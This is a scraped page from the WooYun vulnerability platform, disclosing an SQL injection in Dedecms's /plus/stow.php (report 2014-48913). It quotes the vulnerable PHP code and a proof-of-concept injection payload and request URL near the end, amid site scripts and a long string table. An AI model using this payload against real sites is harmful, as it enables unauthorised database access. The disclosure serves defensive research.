{"COMMENT_LIKE_SELF":"\u4e0d\u80fd\u81ea\u5df1\u8d5e\u81ea\u5df1\u7684\u8bc4\u8bba","COMMENT_LIKED":"\u5df2\u8d5e\u6b64\u8bc4\u8bba","COMMENT_NOT":"\u6b64\u8bc4\u8bba\u4e0d\u5b58\u5728","COMMENT_FILL":"\u8bf7\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","COMMENT_STAT":"\u8bc4\u8bba\u4e0d\u80fd\u4e3a\u7a7a","COMMENT_LOGIN":"\u767b\u9646\u540e\u624d\u80fd\u8bc4\u8bba","COMMENT_GOOD_DONE":"\u5df2\u8d5e\u8fc7\u6b64\u6761\u8bc4\u8bba","COMMENT_SELF":"\u4e0d\u80fd\u8bc4\u4ef7\u81ea\u5df1\u53d1\u5e03\u7684\u8bc4\u8bba","COMMENT_CLICK_FILL":"\u70b9\u51fb\u8f93\u5165\u8bc4\u8bba\u5185\u5bb9","FAIL":"\u64cd\u4f5c\u5931\u8d25","FAIL_MANAGE":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u4e0e\u7ba1\u7406\u5458\u8054\u7cfb","FAIL_NO_WHITEHATS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u767d\u5e3d\u5b50","FAIL_NO_CORPS":"\u64cd\u4f5c\u5931\u8d25\uff0c\u6ca1\u6709\u6b64\u5382\u5546","BUGS_CORPS_SELECT":"\u9009\u62e9\u5382\u5546(\u53ef\u8f93\u5165\u5173\u952e\u5b57\u641c\u7d22)","BUGS_CORPS_OTHER":"Other\/\u5176\u5b83\u5382\u5546","BUGS_CORPS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u7c7b\u578b","BUGS_CORPS_NAME_STAT":"\u8be5\u6f0f\u6d1e\u5bf9\u5e94\u5382\u5546\u7684\u540d\u79f0","BUGS_TYPE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u7c7b\u578b\uff0c\u4e71\u9009\u6263\u5206","BUGS_TITLE_STAT":"\u8be5\u6f0f\u6d1e\u7684\u6807\u9898","BUGS_HARMLEVEL_STAT":"\u8be5\u6f0f\u6d1e\u7684\u5371\u5bb3\u7b49\u7ea7","BUGS_DESCRIPTION_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u7b80\u8981\u63cf\u8ff0\uff0c\u53ef\u4ee5\u7b80\u5355\u63cf\u8ff0\u6f0f\u6d1e\u7684\u5371\u5bb3\u548c\u6210\u56e0\uff0c\u4e0d\u8981\u900f\u6f0f\u6f0f\u6d1e\u7684\u7ec6\u8282","BUGS_CONTENT_STAT":"\u5bf9\u6f0f\u6d1e\u7684\u8be6\u7ec6\u63cf\u8ff0\uff0c\u8bf7\u5c3d\u91cf\u591a\u7684\u6df1\u5165\u7ec6\u8282\u4ee5\u65b9\u4fbf\u5bf9\u6f0f\u6d1e\u7684\u7406\u89e3\uff0c\u652f\u6301&lt;code>&lt;\/code>\u6807\u7b7e","BUGS_POC_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6982\u5ff5\u6027\u8bc1\u660e\uff0c\u652f\u6301&lt;code>&lt;\/code>\u6807\u7b7e","BUGS_PATCH_STAT":"\u5efa\u8bae\u7684\u6f0f\u6d1e\u4fee\u590d\u65b9\u6848\uff0c\u652f\u6301&lt;code>&lt;\/code>\u6807\u7b7e","BUGS_TEST_STAT":"\u7ed9\u51fa\u95ee\u9898\u7684\u6807\u51c6\u6d4b\u8bd5\u4ee3\u7801\u4ee5\u66f4\u4e3a\u65b9\u4fbf\u7684\u5bf9\u6f0f\u6d1e\u8fdb\u884c\u6d4b\u8bd5\u548c\u9a8c\u8bc1\uff0c\u6d4b\u8bd5\u4ee3\u7801\u5bf9\u5916\u9ed8\u8ba4\u4e0d\u663e\u793a\uff0c<br\/>\u5176\u4ed6\u767d\u5e3d\u5b50\u652f\u4ed8\u4e4c\u4e91\u5e01\u67e5\u770b\u540e\u4f60\u5c06\u83b7\u5f97\u989d\u5916\u4e4c\u4e91\u5e01\uff0c<br\/>\u540c\u65f6\u4e5f\u5c06\u5728\u4f60\u7684\u4e2a\u4eba\u9875\u9762\u4f53\u73b0\u4f60\u7684\u6d4b\u8bd5\u4ee3\u7801\u7f16\u5199\u80fd\u529b\u3002","BUGS_QUESTION_SELECT":"\u8bf7\u9009\u62e9\u95ee\u9898\u5382\u5546","BUGS_TITLE_NOTICE":"\u6f0f\u6d1e\u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a","BUGS_RANK_NOTICE1":"\u8bf7\u586b\u5199\u81ea\u8bc4Rank","BUGS_RANK_NOTICE2":"\u81ea\u8bc4Rank\u4e3a\u5927\u4e8e0\u7684\u6570\u5b57","BUGS_TYPE_SELECT":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7c7b\u578b","BUGS_TYPE_NOTICE":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u7c7b\u578b","BUGS_HARMLEVEL_SELECT":"\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_NOTICE":"\u8bf7\u9009\u62e9\u6f0f\u6d1e\u7b49\u7ea7","BUGS_HARMLEVEL_LOWER":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4f4e \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a1-5","BUGS_HARMLEVEL_MIDDLE":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u4e2d \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a5-10","BUGS_HARMLEVEL_HIGH":"\u6f0f\u6d1e\u7b49\u7ea7\u4e3a \u9ad8 \u65f6\uff0c\u81ea\u8bc4Rank\u4e3a10-20","BUGS_AREA_SELECT":"\u8bf7\u9009\u62e9\u5730\u533a\uff01","BUGS_DOMAILS":"\u6f0f\u6d1e\u6240\u5728\u57df\u540d(\u5982qq.com)","BUGS_DOMAIN_FILL":"\u8bf7\u586b\u5199\u57df\u540d\uff01","BUGS_DETAIL_MORE":"\u67e5\u770b\u8be6\u60c5","BUGS_IGNORE_DAYS":"\u8ddd\u6f0f\u6d1e\u5ffd\u7565\u8fd8\u6709","BUGS_CONFIRM_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb","BUGS":"\u6f0f\u6d1e","BUGS_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u5411\u516c\u4f17\u516c\u5f00\u8fd8\u6709","BUGS_IGNORE_PUBLIC_DAYS":"\u8ddd\u6f0f\u6d1e\u672a\u786e\u8ba4\u65e0\u5f71\u54cd\u5ffd\u7565\u8fd8\u6709","BUGS_REPAIR_QUICK":"\u8bf7\u5382\u5546\u5c3d\u5feb\u4fee\u590d\u6f0f\u6d1e","BUGS_HARMLEVEL_REMIND":"\u8bf7\u9009\u62e9\u5371\u5bb3\u7b49\u7ea7","BUGS_RANK_STAT":"rank\u4e3a1-20\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT1":"rank\u4e3a1-5\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT2":"rank\u4e3a5-10\u7684\u6b63\u6574\u6570","BUGS_RANK_STAT3":"rank\u4e3a10-20\u7684\u6b63\u6574\u6570","BUGS_COMPLEMENT_REASON":"\u6dfb\u52a0\u5bf9\u6f0f\u6d1e\u7684\u8865\u5145\u8bf4\u660e\u4ee5\u53ca\u505a\u51fa\u8bc4\u4ef7\u7684\u7406\u7531","BUGS_REPLY_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u56de\u590d","BUGS_IGNORE_CONFIRM":"\u786e\u5b9a\u5ffd\u7565\u6b64\u6f0f\u6d1e\u5417","BUGS_STATUS_NEW_UPDATE":"\u66f4\u6539\u6f0f\u6d1e\u7684\u6700\u65b0\u72b6\u6001","BUGS_STATUS_FILL":"\u8bf7\u586b\u5199\u6f0f\u6d1e\u72b6\u6001","BUGS_PUBLIC_ADVANCE":"\u786e\u5b9a\u63d0\u524d\u516c\u5f00\u6b64\u6f0f\u6d1e\u5417","BUGS_COUNT":"\u6f0f\u6d1e\u6570","BUGS_REPLY_HAT":"\u56de\u590d\u6b64\u4eba","BUGS_DELAY_CONFIRM":"\u786e\u5b9a\u8981\u5ef6\u671f\u4e48?","BUGS_DELAY":"\u7533\u8bf7\u5ef6\u671f","BUGS_DELAY_DONE":"\u5df2\u7ecf\u5ef6\u671f","BUGS_RISK_CONFIM":"\u786e\u5b9a\u6b64\u6f0f\u6d1e\u4e3a\u9ad8\u5371\u5417?","BUGS_NULL_EDITE":"\u7559\u7a7a\u8868\u793a\u4e0d\u4fee\u6539","BUGS_DONE_CONFIRM":"\u8be5\u64cd\u4f5c\u6682\u65f6\u4e0d\u53ef\u9006\uff0c\u786e\u5b9a\uff1f","BUGS_UPUBLIC":"\u4f60\u4ece\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_UPUBLIC1":"\u91cc\u53c8\u83b7\u5f97\u4e86","BUGS_PRECHECK":"\u6709\u4eba\u63d0\u524d\u67e5\u770b\u4e86\u4f60\u53d1\u5e03\u7684\u6f0f\u6d1e","BUGS_PRECHECK_UNPUBLIC":"\u63d0\u524d\u67e5\u770b\u672a\u516c\u5f00\u6f0f\u6d1e","BUGS_NUM":"\u6f0f\u6d1e\u6570\u91cf","RANKAVG":"\u4eba\u5747\u8d21\u732e Rank","CAPTCHA_GET":"\u83b7\u53d6\u9a8c\u8bc1\u7801","CAPTCHA_FILL":"\u8bf7\u8f93\u5165\u56fe\u7247\u4e2d\u7684\u9a8c\u8bc1\u7801","CAPTCHA_NULL":"\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","CAPTCHA_ERROR":"\u9a8c\u8bc1\u7801\u8f93\u5165\u9519\u8bef","CAPTCHA_PHONE_ERROR":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u6b63\u786e","CAPTCHA_PHONE_SEND":"\u9a8c\u8bc1\u7801\u5df2\u53d1\u9001\u5230\u4f60\u7684\u624b\u673a\u4e0a\u8bf7\u6ce8\u610f\u67e5\u6536","CAPTCHA_SEND_AGAIN":"\u540e\u53ef\u91cd\u53d1","CAPTCHA_SEND_OVER":"\u77ed\u4fe1\u5df2\u53d1\u9001\u6210\u529f,\u9a8c\u8bc1\u7801\u533a\u5206\u5927\u5c0f\u5199","CAPTCHA_PHONE_NO":"\u4e0d\u9700\u8981\u77ed\u4fe1\u9a8c\u8bc1\u7801","CAPTCHA_PHONE_NULL":"\u77ed\u4fe1\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PHONE_TYPE_ERROR":"\u7535\u8bdd\u683c\u5f0f\u4e0d\u5bf9","PHONE_NOTING":"\u7535\u8bdd\u4e0d\u80fd\u4e3a\u7a7a","PHONE_FILL":"\u8bf7\u586b\u5199\u624b\u673a\u53f7","PHONE_CAPTCHA_NOTING":"\u624b\u673a\u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_NOTING":"\u5bc6\u7801\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_CONFIRM_NOTING":"\u5bc6\u7801\u786e\u8ba4\u4e0d\u80fd\u4e3a\u7a7a","PASSWORD_PAY_LESS":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u5c11\u4e8e6\u4f4d","PASSWORD_FILL_DIFFERENT":"\u8f93\u5165\u7684\u4e24\u6b21\u5bc6\u7801\u4e0d\u4e00\u6837","PASSWORD_PAY_LOGIN_SAME":"\u652f\u4ed8\u5bc6\u7801\u4e0d\u80fd\u540c\u767b\u9646\u5bc6\u7801\u4e00\u6837","PASSWORD_PAY_FILL":"\u8bf7\u586b\u5199\u652f\u4ed8\u5bc6\u7801","PASSWORD_LENGH_LESS":"\u5bc6\u7801\u957f\u5ea6\u4e0d\u80fd\u5c0f\u4e8e6\u4f4d","PASSWORD_SEND_OK":"\u53d1\u9001\u5bc6\u7801\u90ae\u4ef6\u6210\u529f","PASSWORD_OFER_WRROR":"\u60a8\u63d0\u4f9b\u7684\u627e\u56de\u5bc6\u7801\u4fe1\u606f\u4e0d\u6b63\u786e","PASSWORD_OLD_ERROR":"\u539f\u5bc6\u7801\u9519\u8bef","PASSWORD_UPDATE_OK":"\u5bc6\u7801\u4fee\u6539\u6210\u529f","EMAILL_USED":"\u90ae\u7bb1\u5df2\u88ab\u5360\u7528","EMAILL_NULL":"\u90ae\u7bb1\u4e0d\u80fd\u4e3a\u7a7a\uff01","NOTING":"\u65e0","LEAVEWORDS_NULL":"\u7559\u8a00\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a","LOGIN_FIRST":"\u8bf7\u5148\u767b\u5f55","CONFIRM":"\u786e\u8ba4","YEAR":"\u5e74","DAYS":"\u5929","HOURS":"\u65f6","HOUR":"\u5c0f\u65f6","MINUTE":"\u5206","SECOND":"\u79d2","IS":"\u4e3a","ONE":"\u4e00","TWE":"\u4e8c","TIMES":"\u6b21","COUNTENT_UPDATE_FILL":"\u8bf7\u586b\u5199\u4fee\u6539\u5185\u5bb9","CANCLE":"\u53d6\u6d88","OPERATE_CONFIRM":"\u786e\u5b9a\u6b64\u64cd\u4f5c\u5417\uff1f","USERNAME":"\u59d3\u540d","SUCCESS":"\u64cd\u4f5c\u6210\u529f","FAIL_REPLY":"\u64cd\u4f5c\u5931\u8d25\uff0c\u8bf7\u586b\u5199\u56de\u590d\u4fe1\u606f","SEND_OK":"\u53d1\u9001\u6210\u529f","PHONE_BIND_DONE":"\u5df2\u7ed1\u5b9a","TAGS_USE":"\u4f7f\u7528\u6b64\u6807\u7b7e","WHITEHATS":"\u767d\u5e3d\u5b50","WHITEHATS_VERTIFY":"\u8ba4\u8bc1\u767d\u5e3d\u5b50","WHITEHATES_NAME":"\u8bf7\u8f93\u5165\u767d\u5e3d\u5b50\u7528\u6237\u540d","USER_ZONE_EDIT":"\u7f16\u8f91\u9886\u57df","WB_TRANSFER":"\u6211\u8981\u8f6c\u8d26","WB_TRANSFER_CANCEL":"\u53d6\u6d88\u8f6c\u8d26","WB_NUM":"\u8bf7\u8f93\u5165\u4e4c\u4e91\u5e01\u6570\u91cf","WB_NUMBER":"\u4e4c\u4e91\u5e01\u6570\u91cf\u4e3a\u6b63\u6574\u6570","WB_NEED_LESS":"\u81f3\u5c11\u9700\u8981","WB_NEED_SUM":"\u4e2a\u4e4c\u4e91\u5e01","WB_TRANSFER_OK":"\u8f6c\u8d26\u6210\u529f","WB_MY":"\u6211\u7684\u4e4c\u4e91\u5e01","WB_CAN_USE":"\u53ef\u7528\u7684\u4e4c\u4e91\u5e01","WB_FROZEN":"\u51bb\u7ed3\u7684\u4e4c\u4e91\u5e01","WB_LACK":"\u4e4c\u4e91\u5e01\u4e0d\u8db3","WB_SET_SCOPE":"\u51fa\u4ef7\u8303\u56f4\u4e3a","WB_BIND_CANCEL_STAT":"(\u70b9\u51fb\u201c\u53d6\u6d88\u7ed1\u5b9a\u201d\u83b7\u53d6\u9a8c\u8bc1\u7801\uff0c\u5411\u4e4c\u4e91\u516c\u4f17\u8d26\u53f7\u53d1\u9001\u9a8c\u8bc1\u7801\u53d6\u6d88\u5fae\u4fe1\u7ed1\u5b9a\uff0c\u7136\u540e\u5237\u65b0\u672c\u9875\u9762)","EMAIL_LOGIN_MEXT":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_UPDATE_LOGIN_MEXT":"\u66f4\u6539\u8bf7\u6c42\u5df2\u53d1\u9001\u5230\u90ae\u7bb1,\u8bf7\u767b\u9646\u60a8\u7684\u90ae\u7bb1\u8fdb\u884c\u4e0b\u4e00\u6b65\u64cd\u4f5c","EMAIL_SEND_OK":"\u90ae\u4ef6\u53d1\u9001\u6210\u529f\uff01","CORPS":"\u5382\u5546","TEAM_NAME_NULL":"\u56e2\u961f\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","TEAM_HOMEPAGE_NULL":"\u56e2\u961f\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","TEAM_QQ_NULL":"\u56e2\u961fqq\u4e0d\u80fd\u4e3a\u7a7a","TEAM_BRIEF_NULL":"\u56e2\u961f\u7b80\u4ecb\u4e0d\u80fd\u4e3a\u7a7a","TEAM_EXIST":"\u56e2\u961f\u5df2\u5b58\u5728","TEAM_DISMISS_CONFIRM":"\u786e\u5b9a\u89e3\u6563\u672c\u56e2\u961f\u5417?","TEAM_NAME":"\u56e2\u961f\u540d\u79f0","TEAM_CREATER":"\u521b\u5efa\u4eba","TEAM_DONATER":"\u56e2\u961f\u4e3b\u529b","TEAM_MUMBER":"\u4eba\u6570","TEAM":"\u56e2\u961f","REGISTER_BRIEF":"*\u8bf7\u8f93\u5165\u4e2a\u4eba\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_TYPE":"*\u9009\u62e9\u6ce8\u518c\u7c7b\u578b","REGISTER_CORPS_BRIEF":"*\u8f93\u5165\u5382\u5546\u7684\u7b80\u8981\u4ecb\u7ecd","REGISTER_EMAIL":"*\u5382\u5546\u90ae\u4ef6\u5fc5\u987b\u4e3a\u4f01\u4e1a\u4f7f\u7528\u7684\u6b63\u5f0f\u90ae\u4ef6","REGISTER_NAME_NULL":"\u7528\u6237\u540d\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_HOMEPAGE_NULL":"\u4e2a\u4eba\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_BREIF_NULL":"\u7b80\u8981\u4ecb\u7ecd\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPNAME_NULL":"\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_CORPHOMEPAGE_NULL":"\u5b98\u65b9\u4e3b\u9875\u4e0d\u80fd\u4e3a\u7a7a","REGISTER_LAW_AGREE":"\u540c\u610f\u300a\u4fe1\u606f\u5b89\u5168\u76f8\u5173\u4fdd\u62a4\u548c\u58f0\u660e\u300b\u624d\u80fd\u6ce8\u518c","ATTENTION":"\u5173\u6ce8","ATTENTION_SUM":"\u5173\u6ce8\u6570","ATTENTION_DONE":"\u5df2\u5173\u6ce8","ATTENTION_CANCEL":"\u53d6\u6d88\u5173\u6ce8","ATTENTION_BUG_DONE":"\u5df2\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u5173\u6ce8","ATTENTION_BUG":"\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_BUG_UNDO":"\u6ca1\u6709\u5173\u6ce8\u6b64\u6f0f\u6d1e","ATTENTION_HAT_DONE":"\u5df2\u5173\u6ce8\u6b64\u767d\u5e3d\u5b50","ATTENTION_HAT_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u767d\u5e3d\u5b50\u7684\u5173\u6ce8?","COLLECTION":"\u6536\u85cf","COLLECTION_DONE":"\u5df2\u6536\u85cf","COLLECTION_BUG_DONE":"\u5df2\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_UNDO":"\u6ca1\u6709\u6536\u85cf\u6b64\u6f0f\u6d1e","COLLECTION_BUG_CONFIRM":"\u786e\u5b9a\u53d6\u6d88\u5bf9\u6b64\u6f0f\u6d1e\u7684\u6536\u85cf","SMS_SEND_NAME":"* \u7528\u6237\u6635\u79f0\/\u5382\u5546\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_TITLE":"* \u6807\u9898\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CONTENT":"* \u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a<br \/>","SMS_SEND_CAPTCHA":"* \u9a8c\u8bc1\u7801\u4e0d\u80fd\u4e3a\u7a7a<br \/>","NUMBER":"\u7684\u6b63\u6574\u6570","RATING_SUCCESS":"\u8bc4\u5206\u6210\u529f","RATING_BUGS_DONE":"\u5df2\u5bf9\u6b64\u6f0f\u6d1e\u8fdb\u884c\u8fc7\u8bc4\u5206","RATING_BUGS_SELF":"\u4e0d\u80fd\u5bf9\u81ea\u5df1\u53d1\u5e03\u7684\u6f0f\u6d1e\u8fdb\u884c\u8bc4\u5206","RATING_SUBMIT_CANCLE":"\u53d6\u6d88\u63d0\u4ea4\u8bc4\u5206","RATING_SUBMIT":"\u63d0\u4ea4\u6211\u7684\u8bc4\u5206","RATING_SUBMIT_CHECK":"\u8bf7\u786e\u5b9a\u6bcf\u4e00\u9879\u90fd\u9009\u62e9\u4e86\u8bc4\u5206","RATING_CONFIRM":"\u786e\u5b9a\u63d0\u4ea4\u5bf9\u6b64\u5382\u5546\u7684\u8bc4\u5206\u5417\uff1f","RATING_LOGIN":"\u53ea\u6709\u767b\u5f55\u7684\u767d\u5e3d\u5b50\u624d\u80fd\u8bc4\u5206","RATING_DONE":"\u5df2\u7ecf\u8bc4\u8fc7\u5206\u4e86","WOOYUN_CORPS":"\u4e4c\u4e91\u5382\u5546","MARST_IMAGE":"\u5bf9\u56fe\u7247\u6253\u7801","FEEDBACK_LINK_NULL":"\u94fe\u63a5\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_LINK_ERROR":"\u8bf7\u4e66\u5199\u6b63\u786e\u7684\u94fe\u63a5\u5730\u5740\uff01","FEEDBACK_CONTENT_NULL":"\u95ee\u9898\u5185\u5bb9\u4e0d\u80fd\u4e3a\u7a7a\uff01","FEEDBACK_ALLOW_LIMIT":"\u534a\u5c0f\u65f6\u53ea\u5141\u8bb8\u53cd\u9988\u4e00\u6b21","TOP_RANK":"\u6392\u540d","TOP_BUG_TITLE":"\u6f0f\u6d1e\u6807\u9898","TOP_RANK_NONE":"\u6682\u65e0\u6392\u540d","TOP_BUGS_GOOD":"\u4f18\u8d28\u6f0f\u6d1e\u6570","NICKNAME":"\u6635\u79f0","LEVEL":"\u7b49\u7ea7","VALUE":"\u503c","EDITOR_INSERT_PIC":"\u63d2\u5165\u56fe\u7247","EDITOR_PIC_ADDR":"\u5730\u5740\uff1a","EDITOR_CONFIRM":"\u786e\u5b9a","EDITOR_PIC_NULL":"\u8bf7\u4e0a\u4f20\u56fe\u7247\u6216\u586b\u5199\u56fe\u7247\u5730\u5740","EDITOR_INSERT_VIDIO":"\u63d2\u5165\u89c6\u9891","EDITOR_VIDIO_ADDR":"\u89c6\u9891\u5730\u5740\uff1a","EDITOR_VIDIO_NULL":"\u8bf7\u586b\u5199\u89c6\u9891\u5730\u5740(.swf)","EDITOR_VIDIO_TYPE":"\u76ee\u524d\u4ec5\u652f\u6301.swf\u683c\u5f0f","PIC_SELECT":"\u8bf7\u9009\u62e9\u5f85\u4e0a\u4f20\u7684\u56fe\u7247","PIC_TYPE_IS":"\u56fe\u7247\u7c7b\u578b\u4e3a","UPLOAD":"\u4e0a\u4f20","RANK_AVG":"\u6f0f\u6d1e\u5e73\u5747"}; $(function(){ function getParamsOfShareWindow(width, height) { return ['toolbar=0,status=0,resizable=1,width=' + width + ',height=' + height + ',left=',(screen.width-width)/2,',top=',(screen.height-height)/2].join(''); } }); function errimg(img){ tmp=img.src; nimg=tmp.replace("path_to_url","path_to_url"); img.src=nimg; $(img).parent().attr('href',nimg); img.onerror=null; } function AttendBug(id){ $.get('/ajaxdo.php',{module:'attendbug',id:id,rid:Math.random(),token:$("#token").val()},function(re){ if(re==1){ $("#attention_num").html(parseInt($("#attention_num").html())+1); $("#attend_action").html(''+_LANGJS.ATTENTION_DONE+' <a class="btn" href="javascript:void(0)" onclick="AttendCancel('+id+')">'+_LANGJS.ATTENTION_CANCEL+'</a></span>'); }else if(re==2){ alert(_LANGJS.LOGIN_FIRST); }else if(re==3){ alert(_LANGJS.ATTENTION_BUG_DONE); }else{ alert(_LANGJS.FAIL_MANAGE); } }); } function AttendCancel(id){ if(confirm(_LANGJS.ATTENTION_BUG_CONFIRM+"?")){ $.get('/ajaxdo.php',{module:'attendcancel',id:id,rid:Math.random(),token:$("#token").val()},function(re){ if(re==1){ $("#attention_num").html(parseInt($("#attention_num").html())-1); $("#attend_action").html('<a class="btn" href="javascript:void(0)" onclick="AttendBug('+id+')">'+_LANGJS.ATTENTION_BUG+'</a></span>'); }else{ alert(_LANGJS.FAIL_MANAGE); } }); } } function CollectBug(id,token){ $.get('/ajaxdo.php',{'module':'collect','id':id,'token':token,'rid':Math.random()},function(re){ if(re==1){ $("#collection_num").html(parseInt($("#collection_num").html())+1); $(".btn-fav").removeClass("fav-add"); $(".btn-fav").addClass("fav-cancel"); $(".btn-fav").unbind(); $(".btn-fav").click(function(){ CollectCancel(id,token); }); }else if(re==2){ alert(_LANGJS.LOGIN_FIRST); }else if(re==3){ alert(_LANGJS.COLLECTION_BUG_DONE); }else{ alert(_LANGJS.FAIL_MANAGE); } }); } function CollectCancel(id,token){ if(confirm(_LANGJS.COLLECTION_BUG_CONFIRM+"?")){ $.get('/ajaxdo.php',{'module':'collectcancel','id':id,'token':token,'rid':Math.random()},function(re){ if(re==1){ $("#collection_num").html(parseInt($("#collection_num").html())-1); $(".btn-fav").removeClass("fav-cancel"); $(".btn-fav").addClass("fav-add"); $(".btn-fav").unbind(); $(".btn-fav").click(function(){ CollectBug(id,token); }); }else{ alert(_LANGJS.FAIL_MANAGE); } }); } } </script> <div class="content"> <input type="hidden" id="token" style="display:none" value="" /> <h2> <span style="margin:0 0 0 580px; float:right; position:absolute; font-size:14px; font-weight:normal">(<span id="attention_num">13</span>) <span id="attend_action"> <a class="btn" href="javascript:void(0)" onclick="AttendBug(48913)"></a></span> </span></h2> <h3> <a href="wooyun-2014-048913">WooYun-2014-48913</a> <input id="fbid" type="hidden" value="48913"> </h3> <h3 class='wybug_title'> Dedecms 8() <img src="path_to_url" alt="" class="credit"> </h3> <h3 class='wybug_corp'> <a href="path_to_url"> Dedecms </a> </h3> <h3 class='wybug_author'> <a href="path_to_url">Matt</a><img height="12" width="12" style="vertical-align:-2px;margin-left:2px;" src="path_to_url" alt="" /></h3> <h3 class='wybug_date'> 2014-01-14 18:25</h3> <h3 class='wybug_open_date'> 2014-04-14 18:26</h3> <h3 class='wybug_type'> SQL</h3> <h3 class='wybug_level'> </h3> <h3>Rank 20</h3> <h3 class='wybug_status'> </h3> <h3> <a href="path_to_url">path_to_url help@wooyun.org</h3> <h3>Tags </h3> <h3> <!-- Baidu Button BEGIN --> <div id="share"> <div style="float:right; margin-right:100px;font-size:12px"> <span class="fav-num"><a id="collection_num">1</a></span> <a style="text-decoration:none; font-size:12px" href="javascript:void(0)" class="fav-add btn-fav"></a> <script type="text/javascript"> var token=""; var id="48913"; $(".btn-fav").click(function(){ CollectBug(id,token); }); </script> </div> <span style="float:left;"></span> <div id="bdshare" class="bdshare_b" style="line-height: 12px;"><img src="path_to_url" /> <a class="shareCount"></a> </div> </div> <!-- Baidu Button END --> </h3> <hr align="center"/> <h2></h2> <h3 class="detailTitle"></h3> <p class="detail" style="padding-bottom:0"> </p> <p class="detail wybug_open_status"> 2014-01-14 <br/> 2014-01-14 <br/> 2014-01-17 <a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><a href="path_to_url" target="_blank"></a><br/> 2014-03-10 <br/> 2014-03-20 <br/> 2014-03-30 <br/> 2014-04-14 <br/> </p> <h3 class="detailTitle"></h3> <p class="detail wybug_description">Dedecms 8()<br /> <br /> </p> <h3 class="detailTitle"></h3> <div class='wybug_detail'> <p class="detail"></p><fieldset class='fieldset fieldset-code'><legend>code </legend><pre><code>/plus/stow.php<br /> if($type==&#039;&#039;)<br /> {<br /> $row = $dsql-&gt;GetOne(&quot;SELECT * FROM `#@__member_stow` WHERE aid=&#039;$aid&#039; <br /> <br /> AND mid=&#039;{$ml-&gt;M_ID}&#039;&quot;);<br /> if(!is_array($row))<br /> {<br /> $dsql-&gt;ExecuteNoneQuery(&quot;INSERT INTO `#@__member_stow`<br /> <br /> (mid,aid,title,addtime) VALUES (&#039;&quot;.$ml-&gt;M_ID.&quot;&#039;,&#039;$aid&#039;,&#039;&quot;.addslashes<br /> <br /> ($arctitle).&quot;&#039;,&#039;$addtime&#039;); &quot;);<br /> } else {<br /> ShowMsg(&#039;<br /> <br /> &#039;,&#039;javascript:window.close();&#039;);<br /> exit();<br /> }<br /> } else {<br /> $row = $dsql-&gt;GetOne(&quot;SELECT * FROM `#@__member_stow` WHERE <br /> <br /> type=&#039;$type&#039; AND (aid=&#039;$aid&#039; AND mid=&#039;{$ml-&gt;M_ID}&#039;)&quot;);<br /> if(!is_array($row))<br /> {<br /> $dsql-&gt;ExecuteNoneQuery(&quot; INSERT INTO `#@__member_stow`<br /> <br /> (mid,aid,title,addtime,type) VALUES (&#039;&quot;.$ml-<br /> <br /> &gt;M_ID.&quot;&#039;,&#039;$aid&#039;,&#039;$title&#039;,&#039;$addtime&#039;,&#039;$type&#039;); &quot;);//TITLE<br /> <br /> <br /> }</code></pre></fieldset><p class='detail'> </p> </div> <h3 class="detailTitle"></h3> <div class='wybug_poc'> <p class="detail">soeasy <br /> <br /> **.**.**.**/dede/member/content_list.php?channelid=1 <br /> <br /> 1111&#039;,1,2),(8,136,user(),1,2),(1,2,&#039;3<br /> <br /> <br /> <br /> <br /> <br /> ID<br /> <br /> **.**.**.**/dede/plus/stow.php?aid=137&amp;type=11%27 <br /> <br /> 137ID<br /> <br /> </p><p class="detail usemasaic"><a href="../upload/201401/14182236cb067ecb3f3fd5fc6b7dd1f4a494bca7.png" target="_blank"><img 